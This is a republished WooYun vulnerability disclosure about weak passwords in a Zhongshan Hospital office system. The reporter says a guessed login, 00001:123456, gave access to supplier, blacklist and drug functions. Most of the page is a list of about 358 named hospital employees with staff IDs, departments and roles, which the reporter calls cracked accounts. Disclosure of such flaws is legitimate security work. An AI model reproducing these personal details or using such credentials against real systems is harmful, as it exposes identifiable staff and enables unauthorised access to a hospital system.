中山医院某办公系统弱口令(已破解出358个员工账号)

admin 2015年8月16日10:06:39乌云漏洞评论3,549 views249字阅读0分49秒阅读模式
摘要

2014-11-20: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-12-01: 细节向核心白帽子及相关领域专家公开
2014-12-11: 细节向普通白帽子公开
2014-12-21: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号: WooYun-2014-83704

漏洞标题: 中山医院某办公系统弱口令(已破解出358个员工账号)

相关厂商: 中山医院

漏洞作者: depycode

提交时间: 2014-11-20 12:43

公开时间: 2015-01-02 12:44

漏洞类型: 后台弱口令

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 弱口令 admin/admin弱口令

0人收藏


漏洞详情

披露状态:

2014-11-20: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-12-01: 细节向核心白帽子及相关领域专家公开
2014-12-11: 细节向普通白帽子公开
2014-12-21: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**:8002/ 职工入口

随便猜的一个账号 00001:123456 登录进去

可以做各种操作,供应商 黑名单 药品 啥的。

中山医院某办公系统弱口令(已破解出358个员工账号)

code 区域
杨念钦 12506 

一般员工,admin 是

金彩凤 21286

一般员工 是

朱燕萍 21424

一般员工 是

高丽萍 20287

一般员工 是

孙培 12648

一般员工 是

唐利明 55543

一般员工 是

郑贤胤 40215

一般员工 是

陈亚莉 20506

一般员工 是

刘寒 12253

一般员工 是

马易群 12772

一般员工 是

叶骏 31600

一般员工 是

周梅英 30547

一般员工 是

程中明 30577

一般员工 是

张荃 10752

一般员工 是

刘玮 20542

一般员工 是

王静 55357

一般员工 是

林淼 55447

一般员工 是

张晓怡 20744

一般员工 是

白英楠 12666

一般员工 是

胡佳倩 60910139

一般员工 是

张均睿 31505

一般员工 是

张悦 22067

一般员工 是

严梦茜 21480

一般员工 是

火莉丽 21627

一般员工 是

阎敏 21167

一般员工 是

陶涵彦 31605

一般员工 是

张芳 21220

一般员工 是

余情 12269

一般员工 是

老东辉 31603

一般员工 是

周小吉 20976

一般员工 是

曾琳雯 21987

一般员工 是

褚冬晶 21295

一般员工 是

徐小旦 21485

一般员工 是

乔燕 20555

一般员工 是

李文翔 55572

一般员工 是

张立 10395

一般员工 是

於亚辉 40198

一般员工 是

王雪飞 21710

一般员工 是

施健红 20746

一般员工 是

金磊 50338

一般员工 是

罗忆泓 55575

一般员工 是

葛宁花 10376

一般员工 是

郑博豪 55566

一般员工 是

董智旻 55360

一般员工 是

吴超能 12727

一般员工 是

钟春玖 10798

一般员工 是

陆培华 20821

一般员工 是

纪宗斐 12751

一般员工 是

朱博群 55450

一般员工 是

何国栋 12319

一般员工 是

张晓玲 21700

一般员工 是

胡国祥 12650

一般员工 是

贾亦臣 12776

一般员工 是

黄晓春 10533

一般员工 是

朱加明 12302

一般员工 是

陆明 10444

一般员工 是

杨晓梅 12207

一般员工 是

马慧 12174

一般员工 是

朱骞 40261 法务部 (基础功能) 一般员工 是

冯潇婧 21702

一般员工 是

叶尘宇 12397

一般员工 是

邬静晔 20775

一般员工 是

杜楚源 40240 党委办公室 (三重一大)/党委办公室 (基础功能) 三重一大审核岗,信访登记管理岗,三重一大管理岗 是

钱国涌 50190 监察审计室 (基础功能) 一般员工 是

许华 12533

一般员工 是

吴杰 12208

一般员工 是

崔一忻 20864

一般员工 是

何琴 22108

一般员工 是

章雯珺 21358

一般员工 是

徐毅云 21093

一般员工 是

翟晓峰 21502

一般员工 是

余婕 21484

一般员工 是

朱晓菲 22137

一般员工 是

梅婕 22116

一般员工 是

王燕 20981

一般员工 是

诸贤珏 21549

一般员工 是

姜鹤 12818

一般员工 是

杨凌彦 21107

一般员工 是

朱梁 12148

一般员工 是

张蕾 12914

一般员工 是

周波 12409

一般员工 是

陈静 12635

一般员工 是

王亚男 12842

一般员工 是

王琳 20667

一般员工 是

陈慧勇 10704

一般员工 是

庄亚敏 12262

一般员工 是

常桂林 12378

一般员工 是

庞暘 12843

一般员工 是

徐庆玥 12690

一般员工 是

徐竹静 21161

一般员工 是

黄浙勇 12596

一般员工 是

杨平 12292

一般员工 是

汪媛媛 21922

一般员工 是

沈勤军 12434

一般员工 是

王晓燕 21943

一般员工 是

陈妍洁 55513

一般员工 是

陈学颖 12562

一般员工 是

辛崇美 12726

一般员工 是

孙惠川 10559

一般员工 是

杨愔寂 21743

一般员工 是

蒋晶晶 12753

一般员工 是

黄晨旭 21207

一般员工 是

沈波 12348

一般员工 是

刘清欣 10615

一般员工 是

周正君 31002

一般员工 是

杨缨 20473

一般员工 是

郜红阳 55546

一般员工 是

沈赟 20990

一般员工 是

方家桢 21567

一般员工 是

卢燕华 21336

一般员工 是

宋春晓 21847

一般员工 是

杨懿静 55587

一般员工 是

龚林美 40228 医务处 (基础功能) 信访登记管理岗 是

何辅成 40279 门急诊部 (基础功能) 信访登记管理岗 是

陈惠芬 40235 门急诊部 (基础功能) 信访登记管理岗 是

柯杨 12343

一般员工 是

黄成 12420

一般员工 是

徐萍倩 21171

一般员工 是

李笑笑 55424

一般员工 是

华蓓玲 21767

一般员工 是

赵雯静 21488

一般员工 是

朱峥 21174

一般员工 是

陆振宁 21938

一般员工 是

黄丽琴 21461

一般员工 是

沈黎 21900

一般员工 是

徐凡 22016

一般员工 是

赵芳 55553

一般员工 是

严琳 21503

一般员工 是

金妮 21889

一般员工 是

陆婷婷 21790

一般员工 是

赵海燕 21128

一般员工 是

周爱骏 21791

一般员工 是

赵文彦 21842

一般员工 是

路颖晨 21978

一般员工 是

李娜 21888

一般员工 是

诸琰 21883

一般员工 是

徐艳 21147

一般员工 是

王怡靓 21658

一般员工 是

李晓蓉 20539

一般员工 是

岑怡 21294

一般员工 是

吴文婷 21454

一般员工 是

吴燕萍 21419

一般员工 是

孙雪莹 21872

一般员工 是

吴洁妍 21036

一般员工 是

诸馥琼 21837

一般员工 是

唐莲瑛 21149

一般员工 是

成玉珠 21988

一般员工 是

施东伟 10667

一般员工 是

陈晔 31520

一般员工 是

鲍容 30755

一般员工 是

彭晓白 55302

一般员工 是

朱成玉 55541

一般员工 是

陈伶俐 12806

一般员工 是

谢烨卿 55268

一般员工 是

秦文政 12548

一般员工 是

何佳丽 22082

一般员工 是

黄婷婷 40304

一般员工 是

章静怡 20589

一般员工 是

李玮 21189

一般员工 是

江怡琏 20818

一般员工 是

沈悦霖 21953

一般员工 是

刘瑾 20875

一般员工 是

周俭 10514 分管院长(科研合同) (基础功能) 一般员工 是

赵维鹏 12582

一般员工 是

贺泓琰 21402

一般员工 是

方敏 21191

一般员工 是

唐晓燕 21401

一般员工 是

郭剑明 12260

一般员工 是

王丽 55412

一般员工 是

吴文川 12384

一般员工 是

李宛璇 55602

一般员工 是

周平红 10553

一般员工 是

邢晓蕾 21479

一般员工 是

廖海霞 55549

一般员工 是

胡沁 12488

一般员工 是

郭怡菁 75182

一般员工 是

李豪杰 12765

一般员工 是

施洁芸 21210

一般员工 是

陈盛 21280

一般员工 是

仲倩 21396

一般员工 是

戴维 12196

一般员工 是

沈军 20767

一般员工 是

郭雪华 12198

一般员工 是

肖骏 20826

一般员工 是

马婷艳 21143

一般员工 是

李曼 55181

一般员工 是

涂传涛 12415

一般员工 是

周建平 10318

一般员工 是

卜丽萍 10565

一般员工 是

庞怡 21153

一般员工 是

胡国华 10332

一般员工 是

张磊 12551

一般员工 是

奚秋磊 55568

一般员工 是

谢迪杨 12867

一般员工 是

诸骏仁 10008

一般员工 是

蔡定芳 12296

一般员工 是

顾虹艳 20616

一般员工 是

姚康 12496

一般员工 是

西雁 10474

一般员工 是

孙晓欧 20625

一般员工 是

胡昕婴 12322

一般员工 是

程宽 12446

一般员工 是

张新 10502

一般员工 是

励雯静 21084

一般员工 是

宋振举 12317

一般员工 是

黄冰清 12476

一般员工 是

王群 10949

一般员工 是

金冬芸 21575

一般员工 是

顾佳伟 12682

一般员工 是

杨梦婕 30847 伦理委员会 (基础功能) 一般员工 是

吴赤 55370

一般员工 是

竺挺 12276

一般员工 是

颜竹芸 55466

一般员工 是

齐青 10576

一般员工 是

凌志青 12035

一般员工 是

潘力 21884

一般员工 是

林寰东 10835

一般员工 是

甘炜 20469

一般员工 是

杨琴 21957

一般员工 是

周春妹 30179

一般员工 是

王萍 20750

一般员工 是

刘骏桢 12241

一般员工 是

陆琛萱 20413

一般员工 是

徐晓莺 21539

一般员工 是

张颖 20617

一般员工 是

李岑 21683

一般员工 是

虞泽星 55413

一般员工 是

祝英 20648

一般员工 是

李晓牧 12325

一般员工 是

熊万霞 55509

一般员工 是

孙太伟 12809

一般员工 是

花佩 20983

一般员工 是

任卫英 12219

一般员工 是

方深红 20872

一般员工 是

田培 20822

一般员工 是

李秋平 10570

一般员工 是

黄备建 10611

一般员工 是

张建中 30543 (北)制剂室 (供应商) 供应商管理岗 是

伍大权 12862

一般员工 是

王赟 20713

一般员工 是

宁一纯 55533

一般员工 是

李熙雷 12160

一般员工 是

薛琴 55547

一般员工 是

李思 55551

一般员工 是

朱芬 55536

一般员工 是

唐颖嘉 21114

一般员工 是

施征玮 20730

一般员工 是

潘亭 22070

一般员工 是

徐仁德 12904

一般员工 是

沈天皓 55603

一般员工 是

陈婷 21399

一般员工 是

朱晓玲 20897

一般员工 是

罗菁 20772

一般员工 是

钱海宁 20833

一般员工 是

顾云靓 21904

一般员工 是

邹佳雯 22125

一般员工 是

宋卓菁 21887

一般员工 是

陈慧 20416

一般员工 是

徐鹏举 12464

一般员工 是

付明强 55383

一般员工 是

陈菲菲 55534

一般员工 是

黄新生 12155

一般员工 是

张肖晶 21878

一般员工 是

韩奕 12758

一般员工 是

罗剑钧 12315

一般员工 是

胡炯 8130397

一般员工 是

杨达伟 12878

一般员工 是

江孙芳 10714

一般员工 是

张明兰 10728

一般员工 是

杨洋 22053

一般员工 是

胡亚男 31536

一般员工 是

胡佳琦 30724

一般员工 是

吴轶喆 12748

一般员工 是

周慧 20470

一般员工 是

孙伟 20584

一般员工 是

吕越昌 55371

一般员工 是

王传福 50298

一般员工 是

凌云龙 55537

一般员工 是

陆汇文 22001

一般员工 是

陈凌 55432

一般员工 是

程羽菲 60810044

一般员工 是

丁小军 12225

一般员工 是

方金忠 8140520

一般员工 是

许青 31509

一般员工 是

张瑾 12238

一般员工 是

张韵华 10612

一般员工 是

刘旭 12339

一般员工 是

徐治国 40234 工会 (基础功能) 一般员工,信访登记管理岗 是

王志聪 55597

一般员工 是

黄荣南 61016003

一般员工 是

伍秋宁 60910177

一般员工 是

耿悦 55463

一般员工 是

董继宏 10646

一般员工 是

高鹏程 22151

一般员工 是

朱文青 10530

一般员工 是

胡冉 60910181

一般员工 是

赵美玲 50222

一般员工 是

曾文正 55538

一般员工 是

刘立 12857

一般员工 是

金淳 55227

一般员工 是

陆彦炯 30244

一般员工 是

赵一鸣 12822

一般员工 是

李本昌 8140412

一般员工 是

余平波 12798

一般员工 是

俞婷 55353

一般员工 是

丁羽立 22052

一般员工 是

许诺 55521

一般员工 是

刘晓文 30994

一般员工 是

张卓君 12752

一般员工 是

沈月红 20796

一般员工 是

马莉辉 21202

一般员工 是

魏黎 20757

一般员工 是

王晓丹 12324

一般员工 是

徐礁 20636

一般员工 是

乐真真 21103

一般员工 是

郭常安 12311

一般员工 是

徐蓓莉 12677

一般员工 是

叶青海 10513

一般员工 是

郭磊 12871

一般员工 是

孙仁勤 50001645

一般员工 是

刘晓烨 21570

一般员工 是

周倩琳 60910161

一般员工 是

宋菲儿 61010197

一般员工 是

莫非 60910123

一般员工 是

肖红叶 55285

一般员工 是

陶祥元 40178

一般员工 是

仇琼 20877

一般员工 是

蔡洁茹 55532

一般员工 是

张博恒 10436

一般员工 是

潘思梦 55229

一般员工 是

陈庆兴 12902

一般员工 是

陈斐颖 21933

一般员工 是

阮宏 12197

一般员工 是

王芸濛 22095

一般员工 是

李蝶 21959

一般员工 是

孙艳云 21017

一般员工 是

葛艺 21942

一般员工 是

陆晶晶 21270

一般员工 是

卢芳 20657

一般员工 是

姚瑶 21608

一般员工 是

李文昌 12398

一般员工 是

牛金全 8140063

一般员工 是

潘忠军 8140062

一般员工 是

吕艳娥 8140061

一般员工 是

潘紫雯 22117

一般员工 是

东莉 20641

一般员工 是

张平 20358

一般员工 是

葛晨 21645

一般员工 是

张明 55584

一般员工 是

叶秋莹 55585

一般员工 是

顾晓明 31543

一般员工 是

戚亚文 21049

一般员工 是

徐鏐烨 21465

一般员工 是

冯婷 21846

一般员工 是

张薇 21409

一般员工 是

孙庆晏 21233

一般员工 是

汤敏 12102

一般员工 是

范凡 55529

一般员工 是

侯英勇 12267

一般员工 是

沈继平 12379

一般员工 是

裘兴骏 50343

一般员工 是

孙绮蛮 12387

一般员工 是

张帆 12869

一般员工 是

唐燕 22072

一般员工 是

欧玉凤 20621

一般员工 是

董天庚 55428

一般员工 是

王寅 55361

一般员工 是

李文伟 12500

一般员工 是

薛明明 55232

一般员工 是

刘光华 12883

一般员工 是

唐红敏 10515 院长办公室 (供应商) 供应商管理岗 是

黄雨婷 22065

一般员工 是

梁义秀 12844

一般员工 是

沈盛 12685 心血管药理研究所 (供应商) 供应商管理岗 是

杨晔 12847

一般员工 是

计顺意 20574

一般员工 是

余岚 20407

一般员工 是

侯君谊 55506

一般员工 是

杜芸芸 21360

一般员工 是

张禕 21674

一般员工 是

崔晓通 55526

一般员工 是

陈佳 21707

一般员工 是

王滢晨 22083

一般员工 是

薛张纲 10398

一般员工 是

山崎 21753

一般员工 是

杜施霖 12425

一般员工 是

沈蓓雯 22043

一般员工 是

叶芳 12240

一般员工 是

王毓琳 12905

一般员工 是

楼文晖 10554

一般员工 是

顾宇彤 10501

一般员工 是

郑吉莉 20862

一般员工 是

夏光 55138

一般员工 是

陈波 21359

一般员工 是

陈世耀 10434

一般员工 是

符伟国 10301

一般员工 是

王佳瑜 22145

一般员工 是

戎瑞明 10628

一般员工 是

姚晨玲 10417

一般员工 是

蔡良 30778

一般员工 是

武睿毅 12422

一般员工 是

丁伟 21913

一般员工 是

屠蕊沁 10290

一般员工 是

姜林娣 10431

一般员工 是

孙丹诞 21654

一般员工 是

徐圣怡 21932

一般员工 是

姚利 21139

一般员工 是

诸妍 21893

一般员工 是

薛渊 12288

一般员工 是

高燕 22142

一般员工 是

陈辰 55539

一般员工 是

赵巧英 20352

一般员工 是

陈苗 21971

一般员工 是

於雷 12821

一般员工 是

邵静仁 21356

一般员工 是

齐飚 59998

一般员工 是

刘豪 30246

一般员工 是

李芃芃 40311

一般员工 是

薛同春 12576

一般员工 是

齐建超 59995

一般员工 是

杨子昂 10625

一般员工 是

陆雅萍 21723

一般员工 是

王晨 55593

一般员工 是

赵懿 20464

一般员工 是

单明敏 21536

一般员工 是

孙崇璟 55576

一般员工 是

朱利靖 55581

一般员工 是

周梅玲 12584

一般员工 是

刘卫仁 12856

一般员工 是

赵梦 55362

一般员工 是

吴琳 12081

一般员工 是

纪元 12411

一般员工 是

胡敏 20572

一般员工 是

李光伟 55287

一般员工 是

韩姣 21331

一般员工 是

吴海燕 31607

一般员工 是

朱冬 55569

一般员工 是

胡继红 55346

一般员工 是

李洁 21020

一般员工 是

倪佳 21991

一般员工 是

沈海云 55592

一般员工 是

丁文军 10958

一般员工 是

孙勇新 12390

一般员工 是

倪思康 22062

一般员工 是

赵丽莉 20759

一般员工 是

杨橙 55427

一般员工 是

王祝玮 22045

一般员工 是

张巍 12882

一般员工 是

张晓彪 12254

一般员工 是

潘向欧 12808

一般员工 是

余卓 55468

一般员工 是

潘夏楠 22122

一般员工 是

朱玥婷 22081

一般员工 是

丁明 12316

一般员工 是

顾晓惠 22128

一般员工 是

黄安琪 21969

一般员工 是

刘睿艳 20991

一般员工 是

高露娟 12832

一般员工 是

张嘉雯 21605

一般员工 是

胡捷 55435

一般员工 是

张磊 12901

一般员工 是

阿拉努尔·穆合塔尔 55473

一般员工 是

张琼 20650

一般员工 是

张华文 21822

一般员工 是

陈弘 12889

一般员工 是

马琳琳 55296

一般员工 是

潘琼 20729

一般员工 是

刘盛东 40278

一般员工 是

吴薇薇 20868

一般员工 是

李慧 12380

一般员工 是

朱德祥 55433

一般员工 是

唐晓红 20718

一般员工 是

唐敏倩 20694

一般员工 是

李明辉 55384

一般员工 是

杨震 12134

一般员工 是

蒋兰芝 22143

一般员工 是

顾云逸 22088

一般员工 是

荣英 21349

一般员工 是

谢天妮 22069

一般员工 是

顾沈燕 21928

一般员工 是

杨建伟 10665

一般员工 是

步路标 30568

一般员工 是

叶菁 21019

一般员工 是

龚燕妮 22041

一般员工 是

纪如媛 21201

一般员工 是

张玮 22063

一般员工 是

刘毅 55255

一般员工 是

奚俊杰 12909

一般员工 是

王国骅 12038

一般员工 是

赵刚 12802

一般员工 是

林生力 55438

一般员工 是

黄雅琴 55344

一般员工 是

丁小强 10522

一般员工 是

居彩霞 20396

一般员工 是

余优成 12009

一般员工 是

龚剑 12191

一般员工 是

吕雅韵 22131

一般员工 是

缪秋琛 21858

一般员工 是

雷海燕 55548

一般员工 是

王箴 12304

一般员工 是

熊怡泓 22119

一般员工 是

鲍卫华 30197

一般员工 是

刘海蕾 20831

一般员工 是

顾睿予 21934

一般员工 是

杨敏华 21087

一般员工 是

陈颐 12034

一般员工 是

陈晓姗 55591

一般员工 是

顾彦秋 22111

一般员工 是

施佳怡 22059

一般员工 是

喻薇 21059

一般员工 是

黄佩新 12866

一般员工 是

施伟斌 30185 体检中心 (供应商) 供应商管理岗 是

吴佳庆 21092

一般员工 是

邹静怀 12362

一般员工 是

程志祥 10662

一般员工 是

张潇伊 12375

一般员工 是

徐敏 20816

一般员工 是

宣丽真 12700

一般员工 是

郑业伟 20295

一般员工 是

郭宝磊 55376

一般员工 是

陈虹 59992

一般员工 是

黄麒 20673

一般员工 是

周云 10607

一般员工 是

黄婷 22074

一般员工 是

陈东旭 55233

一般员工 是

陈玮 55472

一般员工 是

隗祎 10644

一般员工 是

陈佳超 55522

一般员工 是

张宁萍 12338

一般员工 是

朱丽 21181

一般员工 是

胡燕 20978

一般员工 是

汪沁缘 22135

一般员工 是

杜敏 55482

一般员工 是

王培林 55485

一般员工 是

唐文斌 12251

一般员工 是

龚昱达 55329

一般员工 是

罗雪梅 10641

一般员工 是

王葆青 10584 分部 (三重一大) 一般员工,三重一大管理岗 是

宋凯 10477

一般员工 是

金莺莺 21831

一般员工 是

唐颐 20600

一般员工 是

姜帅 12335

一般员工 是

顾思忆 22129

一般员工 是

徐磊 22153

一般员工 是

沈雳 12579

一般员工 是

何义舟 12512

一般员工 是

于明香 12299

一般员工 是

胡骁轶 12462

一般员工 是

刘黎黎 12632

一般员工 是

姚翔 20809

一般员工 是

顾众慧 21556

一般员工 是

顾济平 21054

一般员工 是

杨永怡 21041

一般员工 是

刘红 10966

一般员工 是

沈小静 55478

一般员工 是

王琴 12880

一般员工 是

俞青 21769

一般员工 是

李骥 55486

一般员工 是

杨萍 55341

一般员工 是

秦凤花 55354

一般员工 是

任萍 21720

一般员工 是

刘嫣 40219 院长办公室 (三重一大) 三重一大审核岗 是

张鑫叶 22068

一般员工 是

范虹 10690

一般员工 是

张博 55573

一般员工 是

单艳 12341

一般员工 是

丁玥 55414

一般员工 是

姜惠芬 22105

一般员工 是

孙健 12355

一般员工 是

陶力 10616

一般员工 是

凌佳倩 55578

一般员工 是

陆清 12483

一般员工 是

徐世坤 12323

一般员工 是

卲雨婷 40290

一般员工 是

杨昌生 10781

一般员工 是

付亮 55570

一般员工 是

林贻梅 10635

一般员工 是

张岚 12125

一般员工 是

马东芹 55223

一般员工 是

李权 12907

一般员工 是

时强 12891

一般员工 是

费腾 55305

一般员工 是

娄逸 55516

一般员工 是

张琳 22107

一般员工 是

吴卫文 660035

一般员工 是

黄振 12836

一般员工 是

薛宁 12340

一般员工 是

陈晨 12910

一般员工 是

周浩 10649

一般员工 是

郑林文 59989

一般员工 是

张庆 55402

一般员工 是

朱蓁蓁 40303 科研处 (供应商)/科研处 (基础功能) 供应商管理岗,一般员工 是

马昱 10768

一般员工 是

郑峥 20642

一般员工 是

孙晓宁 12418

一般员工 是

梅静骅 21820

一般员工 是

张莺 20812

一般员工 是

施杰毅 55431

一般员工 是

顾俭勇 12058

一般员工 是

张洲姬 55600

一般员工 是

彭娟 12474

一般员工 是

陈芳芳 12804

一般员工 是

谢玲俐 22057

一般员工 是

王晓敏 22121

一般员工 是

毛枫 10710

一般员工 是

姚婧 55596

一般员工 是

沈洋 20514

一般员工 是

祁红娣 20266

一般员工 是

费琴明 10557

一般员工 是

张勇 12346

一般员工 是

乔玉磊 10732

一般员工 是

韩晶 55481

一般员工 是

王青乐 55598

一般员工 是

陈蕙 22090

一般员工 是

董玲 12052

一般员工 是

周海英 20655

一般员工 是

易嘉勇 12274

一般员工 是

虞奋 20536

一般员工 是

周健 12773

一般员工 是

潘文志 12663

一般员工 是

吴峻 55440

一般员工 是

江春菲 12646

一般员工 是

许雪峰 10621

一般员工 是

魏征 12233

一般员工 是

徐馨 12868

一般员工 是

杨守国 12165

一般员工 是

张震 12769

一般员工 是

马婧嶔 55460

一般员工 是

刘韬韬 12218

一般员工 是

吴晓宇 12439

一般员工 是

李希雯 55182

一般员工 是

林豪杰 12156

一般员工 是

高美 55335

一般员工 是

项忆瑾 55470

一般员工 是

刘靖正 12831

一般员工 是

李思愉 55398

一般员工 是

戴宇翔 12495

一般员工 是

郭津生 10547

一般员工 是

赵菁 55477

一般员工 是

洪涛 12004

一般员工 是

王庆 12145

一般员工 是

王莉 12839

一般员工 是

邵长周 12369

一般员工 是

吴燕 20960

一般员工 是

郑乐平 22147

一般员工 是

乔羽飞 55590

一般员工 是

陆晓茵 22134

一般员工 是

沈英皓 12268

一般员工 是

刘慧 55345

一般员工 是

胡洁羚 22130

一般员工 是

毕玮 10764

一般员工 是

胡克俭 30946

一般员工 是

吴东 10568

一般员工 是

石虹 12010

一般员工 是

陆婷婷 21472

一般员工 是

毛丹 21240

一般员工 是

王嘉玲 22109

一般员工 是

王逸群 21632

一般员工 是

杨国欢 12127

一般员工 是

顾佳慧 22047

一般员工 是

叶妙音 22084

一般员工 是

祝晓桑 20614

一般员工 是

吴敏婕 21115

一般员工 是

丁光宇 55441

一般员工 是

黄君龄 12828

一般员工 是

刘中华 12328

一般员工 是

李洁云 55238

一般员工 是

龚漪娜 21060

一般员工 是

马文静 22075

一般员工 是

戚贵生 12888

一般员工 是

孙玮 22101

一般员工 是

黄越英 55492

一般员工 是

李苗 55279

一般员工 是

饶圣祥 12653

一般员工 是

王丛菲 59988

一般员工 是

惠晓玲 30978

一般员工 是

孙会贞 55356

一般员工 是

李明 20825

一般员工 是

曹萍 20331

一般员工 是

李锋 12594

一般员工 是

陈佳妮 22094

一般员工 是

傅修涛 12870

一般员工 是

易拓 12893

一般员工 是

陈嵩 12913

一般员工 是

庄静丽 12114

一般员工 是

李佳旻 12571

一般员工 是

林红 81085

一般员工 是

王洁媛 21897

一般员工 是

王一梅 12593

一般员工 是

杨钊 55561

一般员工 是

刘海云 59993

一般员工 是

张建平 12130

一般员工 是

陆芳 55475

一般员工 是

贾佳 55556

一般员工 是

汪阳 55557

一般员工 是

周佩歆 21931

一般员工 是

王尹曼 12845

一般员工 是

顾晓燕 21112

一般员工 是

沙来买提·沙力 55527

一般员工 是

黄宛玲 59999

一般员工 是

赵磊 55595

一般员工 是

程健 20595

一般员工 是

王鹏 12239

一般员工 是

吕佳 21001

一般员工 是

潘东 30700

一般员工 是

钱磊 30774

一般员工 是

方芳 21221

一般员工 是

王一惟 55562

一般员工 是

李鹤 55437

一般员工 是

徐磊 30763

一般员工 是

鞠睿 31007

一般员工 是

程洁敏 10292

一般员工 是

李世超 55310

一般员工 是

古杰 55436

一般员工 是

周婉婷 20776

一般员工 是

顾黎敏 21802

一般员工 是

杨欣荣 12705

一般员工 是

范晓丹 55499

一般员工 是

陆莲宇 22114

一般员工 是

沈锡中 10784

一般员工 是

彭伟锋 12394

一般员工 是

袁璐 55558

一般员工 是

杨士波 55493

一般员工 是

征雪英 8140194

一般员工 是

李政 55456

一般员工 是

张佳晶 21192

一般员工 是

项方方 55518

一般员工 是

蒋鹏瑶 55474

一般员工 是

何凡 50135

一般员工 是

刘艺 55494

一般员工 是

李静怡 20969

一般员工 是

翟长文 55348

一般员工 是

李国平 12147

一般员工 是

盛卫忠 12053

一般员工 是

蒋旭 55408

一般员工 是

曹蕾 21882

一般员工 是

祁俏然 55586

一般员工 是

贺宏勇 55448

一般员工 是

李权 55115

一般员工 是

孙菁 12033

一般员工 是

朱小东 12823

一般员工 是

吴冰洁 55519

一般员工 是

刘利民 10415

一般员工 是

王婷 12356

一般员工 是

张键 12005

一般员工 是

周洁白 55514

一般员工 是

戴鲁筠 55511

一般员工 是

杜丹峰 55588

一般员工 是

方颖 55262

一般员工 是

马玉燕 55512

一般员工 是

吴志峰 12858

一般员工 是

潘程玮 55284

一般员工 是

刘琛 12129

一般员工 是

汪学非 12272

一般员工 是

孙益红 10721

一般员工 是

许中 55488

一般员工 是

张育红 20431

一般员工 是

王伟敏 55210

一般员工 是

姜晓幸 10388

一般员工 是

程立宏 20627

一般员工 是

张怡安 55528

一般员工 是

杨凌丽 21172

一般员工 是

甘强均 55565

一般员工 是

徐旻璐 21896

一般员工 是

丁红 10445

一般员工 是

徐杰 21798

一般员工 是

李静 55524

一般员工 是

徐嫣嫣 21160

一般员工 是

宋亚楠 55520

一般员工 是

秦琦 21175

一般员工 是

管意云 20689

一般员工 是

徐凯 12611

一般员工 是

陈子贤 12505

一般员工 是

朱军 20490

一般员工 是

虞正红 20449

一般员工 是

陆树洋 55429

一般员工 是

崔春晓 55403

一般员工 是

贺旻 55301

一般员工 是

孙颖 55386

一般员工 是

奚百顺 12096

一般员工 是

杨达伟 55273

一般员工 是

姚雨濛 55278

一般员工 是

张倩 20888

一般员工 是

王天浩 12029

一般员工 是

易拓 55323

一般员工 是

江瀛川 10715

一般员工 是

马莉莉 12345

一般员工 是

陆南杭 55313

一般员工 是

俞梅蓉 40152 监察审计室 (供应商)/监察审计室 (三重一大)/监察审计室 (基础功能)/科研处 (基础功能)/纪检监察 (基础功能) 供应商超级管理员,三重一大审核岗,信访登记管理岗,一般员工 是

陈晓西 55168

一般员工 是

黄琦 55416

一般员工 是

林晛 55116

一般员工 是

袁伟 55505

一般员工 是

方龙 55490

一般员工 是

童华 55487

一般员工 是

范围晴 31617

一般员工 是

周林燕 55545

一般员工 是

周少来 55571

一般员工 是

余陈贵 59991

一般员工 是

赵闻 55582

一般员工 是

徐晨曦 55425

一般员工 是

周念 59996

一般员工 是

盛君 20721

一般员工 是

韦素兰 31041

一般员工 是

俞静娴 20656

一般员工 是

杨新梅 20635 党委办公室 (基础功能) 一般员工,信访登记管理岗 是

罗哲 12221

一般员工 是

姜物华 55401

一般员工 是

郑健敏 40258

一般员工 是

王庆萍 30970

一般员工 是

白浩鸣 40220 教育处 (供应商) 供应商管理岗 是

陈伟 10640

一般员工 是

戴慧萍 20885

一般员工 是

郦珊珊 12602

一般员工 是

臧游亚 55421

一般员工 是

彭琬晴 55405

一般员工 是

胡凡 10650

一般员工 是

吴国豪 10684

一般员工 是

朱建锋 30665

一般员工 是

杨骥 12698

一般员工 是

李元 55366

一般员工 是

张树民 12471

一般员工 是

仲昕 12745

一般员工 是

卞振 55364

一般员工 是

王宣传 12680

一般员工 是

王春兰 55358

一般员工 是

胡必杰 10355

一般员工 是

陈诚 55303

一般员工 是

韦岚峥 20830 防保科 (供应商)/防保科 (供应商) 供应商管理岗 是

刘文娟 12525

一般员工 是

许妍艳 20995

一般员工 是

过常发 12577

一般员工 是

艾志龙 10691

一般员工 是

赵蔼婷 21741

一般员工 是

祝琳 21064

一般员工 是

厉天瑜 55469

一般员工 是

洪霞 31023 计算机网络中心 (供应商) 供应商管理岗 是

周朝晖 10661 科研处 (供应商)/科研处 (基础功能) 供应商管理岗,三重一大管理岗,一般员工 是

徐建鸣 20914 护理部 (三重一大) 供应商管理岗,三重一大管理岗 是

郑玉英 40141 教育处 (供应商)/教育处 (三重一大) 供应商管理岗,三重一大管理岗 是

孙湛 10666 医务处 (三重一大)/医务处 (基础功能) 供应商管理岗,三重一大管理岗,信访登记管理岗 是

魏宁 20314 人事处 (三重一大) 供应商管理岗,三重一大管理岗 是

张群仁 40088 总务处 (供应商)/总务处 (基础功能) 供应商管理岗,三重一大管理岗,一般员工 是

姜红 12357 科研处 (供应商)/科研处 (三重一大)/科研处 (基础功能) 供应商管理岗,三重一大管理岗,一般员工 是

陈刚 30166 设备科 (三重一大)/设备科 (供应商)/设备科 (基础功能) 供应商管理岗,三重一大管理岗,一般员工 是

阴忆青 12016 计算机网络中心 (供应商)/计算机网络中心 (三重一大) 供应商管理岗,三重一大管理岗 是

段静雯 40209 财务处 (供应商)/财务处 (三重一大)/财务处 (基础功能) 供应商管理岗,三重一大管理岗,一般员工 是

汪红 30545 药剂科 (供应商) 供应商管理岗 是

沈辉 10582 书记室 (三重一大) 三重一大审核岗 是

牛伟新 10523 书记室 (三重一大) 三重一大审核岗 是

秦新裕 10186 书记室 (三重一大) 三重一大审核岗 是

缪瑾 40107 设备科 (三重一大)/设备科 (供应商)/设备科 (基础功能) 供应商管理岗,三重一大管理岗,一般员工 是

秦净 10458 院长室 (三重一大) 三重一大审核岗 是

阎作勤 10799 院长室 (三重一大) 三重一大审核岗 是

